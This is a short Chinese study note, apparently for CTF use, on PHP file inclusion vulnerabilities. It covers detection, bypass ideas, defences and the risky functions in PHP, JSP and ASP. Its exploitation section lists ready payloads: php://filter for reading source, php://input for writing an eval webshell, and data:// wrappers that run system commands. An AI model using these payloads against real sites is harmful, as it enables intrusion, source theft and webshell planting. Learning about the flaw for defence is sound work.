文件包含
1.原理
在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的检验,从而使攻击者操作了预想之外的文件
2.危害
可能会导致包含webshell,文件读取,命令执行等
3.判断和可能出现位置
a.判断
读取一个本地的文件看是否能去读取成功
b.可能出现位置
在file=参数,或者一个参数后跟着是文件名都可以试试
4.基础利用
- 直接包含webshell
?file=shell.jpg //可以用菜刀直接连接这个地址
- 利用php://filter/read协议
?filename=php://filter/read=convert.base64-encode/resource=1.php //读源码
- 利用php://input协议
?filename=php://input
post:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>’);?>
post:<?php system('ls');?> //命令执行
- 利用file://协议
?file=file://flag.php //读取文件
- 利用data://text/plain协议
?file=data://text/plain,<?php system("cat flag.php")?> //执行命令
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
5.bypass
a.直接读取不成功,考虑目录穿越,绕过目录穿越的waf
b.尝试远程文件包含,包含远程服务器上的文件连接或者写入webshell。
6.防御
关闭allow_url_include选项防止远程文件包含
关闭allow_url_fopen
对file的参数进行严格限制,使用白名单的方式
7.扩展
1)php文件包含相关函数
- include()
- include_once()
- require()
- require_once()
- fopen()
- readfile()
2)JSP文件包含相关函数
- java.io.File()
- java.io.FileReader()
3)ASP文件包含相关函数
- include file
- include virtual